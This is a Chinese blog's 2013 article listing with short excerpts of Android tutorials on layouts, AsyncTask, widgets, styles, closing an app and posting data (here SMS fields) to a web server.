- 博客(11)
- 收藏
- 关注
原创 Android 关闭当前程序
在2.2以前,也就是API-8以前,用这个方法关闭程序:[code="java"]ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);manager.restartPackage(getPackageName());[/code]需要声明权限[code=...
2013-10-09 22:43:57 153
原创 Android TableLayout 表格布局
TableLayout 表格布局 表格布局---(TableLayout)TableLayout 类以行和列形式管理控件,每行为一个TableRow对象,也可以为View对象,当为View 对象时,该View对象将跨越该行的所有列,在TableRow 中也可以添加子空间,每添加一个子空间为一列;在TableLayout中,可以设置三种属性:* Shrinkabl...
2013-06-20 22:14:39 104
原创 Android FrameLayout 帧布局
FrameLayout 帧布局帧布局:FrameLayout 帧布局在屏幕上开辟出一块区域,在这块区域中可以添加多个子控件,但是所有的子控件都被对齐到左上角,帧布局的大小由子控件中尺寸最大的那个控件决定;使用领域:图片的嵌套,可以实现图片拼接的效果;案例如下:效果实现:三个控件,每个控件内容不一样,实现覆盖,并显示效果,父控件大小由最大子控件决定: ...
2013-06-18 20:12:17 186
原创 Android RelativeLayout 相对布局
RelativeLayout 相对布局效果如下:[img]http://dl2.iteye.com/upload/attachment/0085/8887/436fa778-7f7d-3e0a-97f7-7f2aa97ce76d.jpg[/img][code="xml"] [/code]...
2013-06-17 21:42:45 103
原创 Android LinearLayout 线性布局
LinearLayout 线性布局LinearLayout 按照垂直或者水平的顺序依次排列子元素,每一个子元素位于前一个元素之后。LinearLayout 中的子元素属性:android:layout_weight生效,它用于描述该子元素在剩余空间中占有的大小比例,加入一行只有一个文本框,那么它的默认值就是0,如果一行中有两个等长的文本框,那么他们的android:layout_weigh...
2013-06-16 10:14:15 178
原创 Android 使用AsyncTask实现异步处理
由于主线程(也可叫UI线程)负责处理用户输入事件(点击按钮、触摸屏幕、按键等),如果主线程被阻塞,应用就会报ANR错误。为了不阻塞主线程,我们需要在子线程中处理耗时的操作,在处理耗时操作的过程中,子线程可能需要更新UI控件的显示,由于UI控件的更新重绘是由主线程负责的,所以子线程需要通过Handler发送消息到主线程的消息队列中,由运行在主线程的消息处理代码接收到消息后更新UI控件的显示。...
2013-04-21 22:10:39 94
原创 Android 自定义窗口标题
1>提供自定义标题界面,如: R.layout.title2>在Activity的onCreate()方法中添加如下代码:[code="java"]public class MainActivity extends Activity { /** Called when the activity is first created. */ @Override pu...
2013-04-14 12:13:31 164
原创 Android widget使用
widget必须继承AppWidgetProvider在AppWidgetProvider源码中可以看到AppWidgetProvider继承了BroadcastReceiver也就是说widget本身就是个BroadcastReceiver(广播接受者)AndroidManifest.xml中配置[code="xml"] ...
2013-04-13 22:08:51 107
原创 Android样式和主题(style&theme)
[b]android样式[/b]:android中的样式和CSS样式作用相似,都是用于为界面定义显示风格。在Android中定义样式,在res/values/styles.xml文件中添加以下内容[code="xml"] 18px #0000CC [/code]在layout文件中使用上面的android样式:...
2013-04-07 23:03:30 118
原创 Android 如何关闭应用
当应用不再使用时,通常需要关闭应用,可以使用以下三种方法关闭android应用:第一种方法:首先获取当前进程的id,然后杀死该进程。 (推荐)应用情形(应用中的组件没有被其他应用所使用,只是自身使用了)[code="java"]android.os.Process.killProcess(android.os.Process.myPid())[/code]第二种方法:终止当...
2013-04-06 23:23:42 186
原创 android 上传数据到web
[code="java"] private boolean sendSMS(String content, String receiveTime, String senderNumber) { try { String params = "content=" + URLEncoder.encode(content, "UTF-8") + "&receivet...
2013-04-05 13:17:13 130
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人